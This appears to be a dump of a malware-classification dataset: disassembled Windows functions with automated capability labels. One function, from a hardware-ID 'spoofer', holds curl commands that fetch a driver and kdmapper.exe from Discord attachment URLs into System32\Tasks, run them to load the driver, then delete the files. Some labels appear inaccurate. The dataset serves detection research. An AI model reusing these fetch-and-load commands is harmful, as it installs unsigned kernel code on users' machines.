joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180068570
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
lea r12d, [r9 + 0x1c]
mov r14, r8
mov r13, rdx
mov r15, rcx
cmp r9d, r12d
jae 0x1800685e8
mov rdi, qword [rsp + 0x28]
lea ebp, [r9 - 0x4a]
mov r8d, 0x40002804
lea r10, [0x180000000]
cmp ebp, 0x94
ja case.0x1800685d4.7
movzx eax, byte [r10 + rbp + 0x68778]
mov ecx, dword [r10 + rax*4 + 0x68758]
add rcx, r10
jmp rcx
mov rdi, qword [r13]
jmp case.0x1800685d4.7
test r13, r13
jne case.0x1800685d4.7
mov rax, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
test rdi, rdi
je case.0x1800685d4.7
xor esi, esi
cmp qword [r14 + 8], rsi
jbe 0x180068684
nop dword [rax + rax]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 0x20]
cmp qword [rdx + rsi*8], rcx
jae 0x18006867b
mov ebx, 0x2a
mov eax, ebx
sub eax, 0x2a
je 0x180068651
sub eax, 0x58
je 0x18006866a
cmp eax, 0x59
jne 0x18006865f
movzx eax, word [r8]
test al, 0x20
je 0x180068647
jmp 0x18006865f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x40002804
add ebx, 0x58
cmp ebx, 0x132
jb 0x180068636
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 0x20]
cmp qword [rdx + rsi*8], rcx
jb 0x180068631
inc rsi
cmp rsi, qword [r14 + 8]
jb 0x180068620
mov rdi, qword [rdi + 0x18]
test rdi, rdi
jne 0x180068613
jmp case.0x1800685d4.7
mov r9, qword [rsp + 0x20]
xor edx, edx
cmp qword [r15], rdx
jbe 0x1800686d3
mov r8, qword [rsp + 0x28]
mov rcx, r9
sub r8, r9
nop dword [rax]
movzx eax, byte [r8 + rcx]
lea rcx, [rcx + 1]
inc rdx
movzx eax, byte [rax + r10 + 0x8a330]
mov byte [rcx - 1], al
cmp rdx, qword [r15]
jb 0x1800686b0
mov r8d, 0x40002804
mov byte [r9 + rdx], 0
mov rax, qword [r15]
add qword [r14 + 0x10], rax
jmp case.0x1800685d4.7
mov rcx, qword [r14 + 0x10]
lea rdx, [rcx + 1]
add rdx, qword [r15]
cmp rdx, qword [r14 + 8]
jb 0x180068713
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x20]
mov rdx, r14
mov ecx, 0xb2
call fcn.1800206b0
mov rcx, qword [r14 + 0x10]
mov r8d, 0x40002804
mov rdx, qword [r14]
add rdx, rcx
mov qword [rsp + 0x20], rdx
jmp case.0x1800685d4.7
mov qword [rsp + 0x28], r13
add ebp, 4
lea eax, [rbp + 0x4a]
cmp eax, r12d
jae 0x1800685e8
jmp 0x1800685ad
mov r9, qword [rsp + 0x80]
mov rcx, r14
mov r8, qword [r15]
mov rdx, qword [r13]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x1800685ed
Function at 0x18006eb10
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
lea edi, [r9 + 0x343]
mov r11, r8
mov r10, rdx
mov rbx, rcx
cmp r9d, edi
jae 0x18006eba9
nop
mov eax, r9d
sub eax, 0x73
je 0x18006eb61
sub eax, 0x1b
je 0x18006ebb9
cmp eax, 0x10d
jne 0x18006eb9d
cmp dword [rbx], 0
mov eax, dword [r10 + 4]
je 0x18006eb57
bts eax, 0xb
mov dword [r10 + 4], eax
jmp 0x18006eb9d
btr eax, 0xb
mov dword [r10 + 4], eax
jmp 0x18006eb9d
mov eax, dword [r11]
cmp eax, 0x7fffffff
je 0x18006eb9d
xor edx, edx
test eax, eax
jle 0x18006eb9d
mov r8, rbx
mov rax, r10
sub r8, r10
nop word [rax + rax]
movsd xmm0, qword [r8 + rax]
inc edx
movsd qword [rax], xmm0
mov ecx, dword [r8 + rax + 8]
mov dword [rax + 8], ecx
lea rax, [rax + 0xc]
cmp edx, dword [r11]
jl 0x18006eb80
add r9d, 0xa7
cmp r9d, edi
jb 0x18006eb30
mov rax, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov r8, qword [rbx]
mov r9, r11
mov qword [rsp + 0x28], 0
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x18007e730
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
lea ebp, [r8 - 8]
mov r14, r9
mov edi, r8d
cmp r8d, ebp
jbe case.0x18007e79d.0
mov ebx, dword [rsp + 0x48]
lea esi, [r8 - 0xb5]
mov r15, qword [rsp + 0xc0]
lea r12, [0x180000000]
xor r9d, r9d
nop
cmp esi, 0x19
ja case.0x18007e79d.6
movzx eax, byte [r12 + rsi + 0x7ea00]
mov ecx, dword [r12 + rax*4 + 0x7e9e4]
add rcx, r12
jmp rcx
mov rdx, qword [r14]
mov r8, qword [r14 + 8]
cmp rdx, r8
je 0x18007e877
nop
mov ecx, 0xb0
mov eax, ecx
sub eax, 0xb0
je 0x18007e7e8
cmp eax, 0x59
je 0x18007e7d3
add ecx, 0xb8
cmp ecx, 0x220
jb 0x18007e7b5
jmp 0x18007e7f2
mov rax, qword [pe_dos_header]
sub rax, qword [rdx + 0x18]
mov qword [rsp + 0x48], rax
mov ebx, eax
jmp 0x18007e7f2
xor eax, eax
lock cmpxchg dword [rdx + 0xc], r9d
mov ebx, eax
cmp ebx, dword [r15]
je 0x18007e890
add rdx, 0x10
cmp rdx, r8
jne 0x18007e7b0
jmp 0x18007e877
mov eax, dword [rdx]
lea r8, [rsp + 0x50]
shl eax, 2
lea rdx, [rsp + 0xb0]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x30]
mov eax, dword [r15]
mov r9d, 0x2e
lea eax, [rax*2 + 1]
mov dword [rsp + 0x50], eax
mov eax, dword [r14]
lea eax, [rax*2 + 1]
mov dword [rsp + 0xb0], eax
call fcn.180055a10
mov qword [rsp + 0x40], rax
jmp 0x18007e874
mov qword [rsp + 0x40], r9
jmp case.0x18007e79d.6
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
jne 0x18007e9b3
mov dword [rsp + 0x40], 1
xor r9d, r9d
mov rdx, qword [rsp + 0xa8]
dec edi
dec esi
cmp edi, ebp
ja 0x18007e780
jmp case.0x18007e79d.0
mov rax, rdx
jmp 0x18007e9c0
cmp dword [r14 + 0x40], 0
jle 0x18007e9b3
mov r12, qword [rsp + 0xc8]
mov r15d, 0xdd
mov r13d, dword [rsp + 0xb0]
mov r8, qword [rsp + 0xa0]
nop dword [rax]
mov eax, r15d
sub eax, 0xdc
je 0x18007e8fb
cmp eax, 1
jne 0x18007e9a3
mov eax, dword [r8]
cdq
idiv dword [r14 + 0x1c]
mov rdx, qword [rsp + 0xa8]
mov r13d, eax
jmp 0x18007e9a3
mov rbp, qword [r14 + 0x48]
test rbp, rbp
je 0x18007e9d8
movsxd rsi, r13d
test r13d, r13d
jle 0x18007e9a3
mov rdi, qword [rsp + 0xc0]
mov rbx, r9
nop
mov eax, dword [r12]
mov r9, r14
mov qword [rsp + 0x20], rdx
mov r8d, 0x97
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], eax
mov rcx, rbp
call fcn.1800508d0
test eax, eax
jne 0x18007e9d8
xor r9d, r9d
mov edx, r9d
cmp dword [r14 + 0x1c], edx
jle 0x18007e987
lea r9, [rsi*4]
mov rcx, rdi
mov r8, rbp
nop word [rax + rax]
mov eax, dword [r8]
lea r8, [r8 + 4]
add dword [rcx], eax
inc edx
add rcx, r9
cmp edx, dword [r14 + 0x1c]
jl 0x18007e970
xor r9d, r9d
mov rdx, qword [rsp + 0xa8]
inc rbx
add rdi, 4
cmp rbx, rsi
jl 0x18007e920
mov r8, qword [rsp + 0xa0]
dec r15d
cmp r15d, 0xdb
ja 0x18007e8d0
mov dword [rsp + 0x40], 0
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0xb8]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x40], 0xffffffff
jmp case.0x18007e79d.0
Function at 0x140001000
Capabilities:
Delete file
Execute command
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
lea rcx, str.color_e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n_n____i___Welcome_to_sam_spoofer_v1
call fcn.140001160
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n____f1___Spoof_serials
call fcn.140001160
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n____f2___Check_serials
call fcn.140001160
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140001089
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x14000110f
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140001065
lea rcx, [0x14000333c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___i___Downloading_files...
call fcn.140001160
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1203793278642950185_1204883428806500362_system.sys___output_C:WindowsSystem32Taskswoooof.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1203793278642950185_1204883428428873728_kdmapper.exe___output_C:WindowsSystem32Tasksmmmaaapp.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe_C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___i___Spoofed_
call fcn.140001160
lea rcx, str.C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
add rsp, 0x28
ret
lea rcx, [0x14000333c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n___i___Here_are_your_serials:_n
call fcn.140001160
lea rcx, str._n_n_____wmic_diskdrive_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_____wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x28
ret
Function at 0x100402140
Capabilities:
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
mov rbx, rcx
je 0x1004021c9
mov edx, 0x2f
call sub.cygwin1.dll_strrchr
test rax, rax
je 0x1004021b0
lea rdx, [rax + 1]
mov rcx, rdx
sub rcx, rbx
cmp rcx, 6
jle 0x1004021b0
lea rsi, [rax - 6]
lea rdi, str._.libs_
mov ecx, 7
repe cmpsb byte [rsi], byte [rdi]
jne 0x1004021b0
lea rdi, [0x100408860]
mov ecx, 3
mov rsi, rdx
mov rbx, rdx
repe cmpsb byte [rsi], byte [rdi]
seta r8b
setb cl
cmp r8b, cl
jne 0x1004021b0
lea rbx, [rax + 4]
mov rax, qword [sym.imp.cygwin1.dll_program_invocation_short_name]
mov qword [rax], rbx
mov rax, qword [sym.imp.cygwin1.dll_program_invocation_name]
mov qword [0x10040d010], rbx
mov qword [rax], rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call sub.cygwin1.dll___getreent
mov r9, qword [rax + 0x18]
lea rcx, str.A_NULL_argv_0__was_passed_through_an_exec_system_call._n
mov r8d, 0x37
mov edx, 1
call sub.cygwin1.dll_fwrite
call sub.cygwin1.dll_abort
nop
nop

Function at 0x1004051a0
Capabilities:
Query environment variable

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor ecx, ecx
call sub.cygwin1.dll_nl_langinfo
test rax, rax
mov rbp, rax
je 0x100405330
lea rdi, str.US_ASCII
mov ecx, 9
mov rsi, rax
repe cmpsb byte [rsi], byte [rdi]
je 0x100405242
mov rbx, qword [0x10040d180]
test rbx, rbx
jne 0x1004051fa
jmp 0x1004052b7
mov rcx, rbx
call sub.cygwin1.dll_strlen
lea rbx, [rbx + rax + 1]
mov rcx, rbx
call sub.cygwin1.dll_strlen
lea rbx, [rbx + rax + 1]
movzx esi, byte [rbx]
test sil, sil
je 0x10040522a
mov rdx, rbx
mov rcx, rbp
call sub.cygwin1.dll_strcmp
test eax, eax
je 0x10040521d
cmp sil, 0x2a
jne 0x1004051e0
cmp byte [rbx + 1], 0
jne 0x1004051e0
mov rcx, rbx
call sub.cygwin1.dll_strlen
lea rbp, [rbx + rax + 1]
cmp byte [rbp], 0
lea rax, str.ASCII
cmovne rax, rbp
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, str.LC_ALL
call sub.cygwin1.dll_getenv
test rax, rax
je 0x100405258
cmp byte [rax], 0
jne 0x1004052d0
lea rcx, str.LC_CTYPE
call sub.cygwin1.dll_getenv
test rax, rax
je 0x10040526e
cmp byte [rax], 0
jne 0x1004052d0
lea rcx, str.LANG
call sub.cygwin1.dll_getenv
test rax, rax
je 0x100405284
cmp byte [rax], 0
jne 0x1004052d0
call qword [sym.imp.KERNEL32.dll_GetACP]
lea rdx, str.CP_u
lea rcx, [0x10040d170]
mov r8d, eax
lea rbp, [0x10040d170]
call sub.cygwin1.dll_sprintf
mov rbx, qword [0x10040d180]
test rbx, rbx
jne 0x1004051fa
lea rax, str.CP936
mov qword [0x10040d180], rax
mov rbx, rax
jmp 0x1004051fa
mov edx, 0x2e
mov rcx, rax
call sub.cygwin1.dll_strchr
test rax, rax
je 0x100405284
lea rbx, [rax + 1]
mov edx, 0x40
mov rcx, rbx
call sub.cygwin1.dll_strchr
test rax, rax
je 0x10040533c
sub rax, rbx
cmp rax, 0xc
mov rsi, rax
ja 0x100405284
lea rbp, [0x10040d170]
mov r8, rax
mov rdx, rbx
mov rcx, rbp
call fcn.1004055e0
mov byte [rbp + rsi], 0
mov rax, rbp
jmp 0x100405239
lea rbp, [0x100409270]
jmp 0x1004051ce
mov rax, rbx
jmp 0x100405239
Function at 0x1405a1058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405a11df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405a1089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405a106f
add dl, dl
jne 0x1405a1096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405a10f6
xor eax, eax
add dl, dl
jne 0x1405a10a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405a11ad
add dl, dl
jne 0x1405a10b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a10c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a10d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a10dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405a10ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405a107e
mov eax, 1
add dl, dl
jne 0x1405a1106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a1113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405a10fb
sub eax, ebx
mov ebx, 1
jne 0x1405a114c
mov ecx, 1
add dl, dl
jne 0x1405a112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405a113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405a1123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405a107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405a1168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405a1175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405a115d
cmp eax, 0x7d00
jae 0x1405a119b
cmp eax, 0x500
jb 0x1405a1196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405a107e
cmp eax, 0x7f
ja 0x1405a119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405a107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405a11d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405a107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x140b7f000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x140b7f00a
jmp 0x140b8100f
jmp fcn.140810058
Function at 0x1400112c6
Capabilities:
Terminate process

Disassembly:
jmp 0x1400149d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011389
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015d20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015d40
xor al, al
jmp 0x140015dc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015d53
xor al, al
jmp 0x140015dc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015d7d
xor al, al
jmp 0x140015dc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015d91
xor al, al
jmp 0x140015dc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015da3
xor al, al
jmp 0x140015dc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015dbf
xor al, al
jmp 0x140015dc1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400090a4
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [rcx + 0x1e8]
mov r10, r8
movsxd r9, dword [rcx + 0x1e0]
mov r11, rdx
mov rcx, r11
mov r8d, dword [rax + r9*4 - 4]
mov eax, r10d
sub eax, edx
neg r10
sbb edx, edx
and edx, eax
jmp fcn.140009ab8

Function at 0x140009748
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r15, r9d
mov rsi, r8
test r8, r8
je 0x14000976f
and qword [r8], 0
call fcn.140009884
mov rbx, rax
test rax, rax
je 0x140009868
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000985f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000985f
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000985f
mov rax, qword [0x140059ca0]
mov rbp, rdi
test rax, rax
je 0x1400097d7
inc dword [rax + 0x3c8]
mov rdx, qword [0x140059cb0]
lea rcx, [r15 + rdi]
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x14000985f
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rbp
je 0x140009836
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140059ca0]
test rax, rax
je 0x140009824
dec dword [rax + 0x3c8]
mov rdx, qword [0x140059cb0]
mov rcx, rdi
call qword [0x140058008]
jmp 0x140009868
test r15d, r15d
jle 0x140009849
lea rcx, [rdi + rbp]
mov r8, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x14000985a
mov qword [rsi], rbp
mov rax, rdi
jmp 0x14000986a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140009ab8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
cmp dword [0x140059cd4], 0
lea rsi, [0x140059cd0]
mov ebx, r8d
mov edi, edx
mov r10, rcx
jne 0x140009b1f
xor r9d, r9d
mov r11, rsi
mov r8d, r9d
mov edx, 8
mov ecx, r8d
mov eax, r8d
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
mov r8d, ecx
xor r8d, eax
sub rdx, 1
jne 0x140009aed
mov dword [r11], r8d
inc r9d
add r11, 4
cmp r9d, 0x100
jb 0x140009ae5
not ebx
mov edx, ebx
test edi, edi
jle 0x140009b41
movzx eax, byte [r10]
inc r10
movzx ecx, dl
xor rcx, rax
shr edx, 8
xor edx, dword [rsi + rcx*4]
sub edi, 1
jne 0x140009b27
jmp 0x140009b7b
mov r8b, byte [r10]
inc r10
test r8b, r8b
je 0x140009b7b
mov r9b, 0x23
cmp r8b, r9b
jne 0x140009b60
cmp byte [r10], r9b
jne 0x140009b60
cmp byte [r10 + 1], r9b
cmove edx, ebx
movzx ecx, dl
movzx eax, r8b
mov r8b, byte [r10]
xor rcx, rax
shr edx, 8
inc r10
xor edx, dword [rsi + rcx*4]
test r8b, r8b
jne 0x140009b4f
mov rbx, qword [rsp + 8]
not edx
mov rsi, qword [rsp + 0x10]
mov eax, edx
mov rdi, qword [rsp + 0x18]
ret
Function at 0x14000f9c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x140059ca0]
mov rbx, rcx
and dword [rax + 0x2d9c], 0
test rcx, rcx
je 0x14000fa29
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14000fa34
lea rdx, [0x14004a9e4]
mov rcx, rbx
mov rdi, rax
call fcn.140009884
mov rbx, rax
test rax, rax
je 0x14000fa29
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14001ef84
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
xor r14d, r14d
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rsi, rdx
movsxd rdi, r9d
mov rbp, rcx
test r9d, r9d
jle 0x14001f175
lea rbx, [r8 + 0x20]
xor r13d, r13d
lea r8d, [r14 + 1]
mov r11d, 0x100
xorps xmm7, xmm7
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001f026
movsxd r10, dword [rsi + 0x24]
mov r9, qword [rsi + 8]
movsx ecx, r11w
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, r11w
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
mov r8d, 1
movd xmm0, eax
jmp 0x14001f048
movsxd rdx, dword [rsi + 0x1c]
mov rax, qword [rsi + 8]
xorps xmm6, xmmword [0x14004ab70]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
mov al, byte [rbp + 0x20]
xor r15d, r15d
cvtdq2ps xmm0, xmm0
mov byte [rbx], al
mov al, byte [rbp + 0x24]
mov byte [rbx + 1], al
divss xmm6, xmm0
cmp dword [rbx - 0x10], r15d
jle 0x14001f168
mov rcx, qword [rsp + 0xe0]
mov rax, r13
shl rax, 4
add rcx, 6
xor r12d, r12d
add rcx, rax
mov qword [rsp + 0x60], rcx
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001f096
mov edx, dword [rbx - 0x1c]
add edx, r15d
jmp 0x14001f09a
mov edx, dword [rax + r12]
mov rcx, rsi
call fcn.14001e6f0
mov edx, eax
xorps xmm3, xmm3
mov eax, dword [rbp + 0x24]
xorps xmm2, xmm2
mov rcx, rsi
cvtsi2ss xmm3, rax
mov eax, dword [rbp + 0x20]
cvtsi2ss xmm2, rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
mulss xmm3, xmm6
mulss xmm2, xmm6
movss dword [rsp + 0x20], xmm7
call fcn.14001eb28
mov rcx, qword [rsp + 0x60]
mov r8d, 1
movzx eax, word [rbp + 0x20]
add r14d, r8d
sub ax, word [rsp + 0xd8]
add r13, r8
add ax, word [rbp + 0x1c]
add r15d, r8d
add ax, word [rsp + 0x50]
add r12, 4
sub ax, r8w
mov word [rcx - 2], ax
movzx eax, word [rbp + 0x24]
sub ax, word [rsp + 0x54]
add ax, word [rbp + 0x1c]
add ax, word [rsp + 0x58]
sub ax, r8w
mov word [rcx], ax
add rcx, 0x10
mov qword [rsp + 0x60], rcx
cmp r15d, dword [rbx - 0x10]
jl 0x14001f085
mov r11d, 0x100
add rbx, 0x28
sub rdi, r8
jne 0x14001efd4
movaps xmm7, xmmword [rsp + 0x70]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov eax, r14d
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret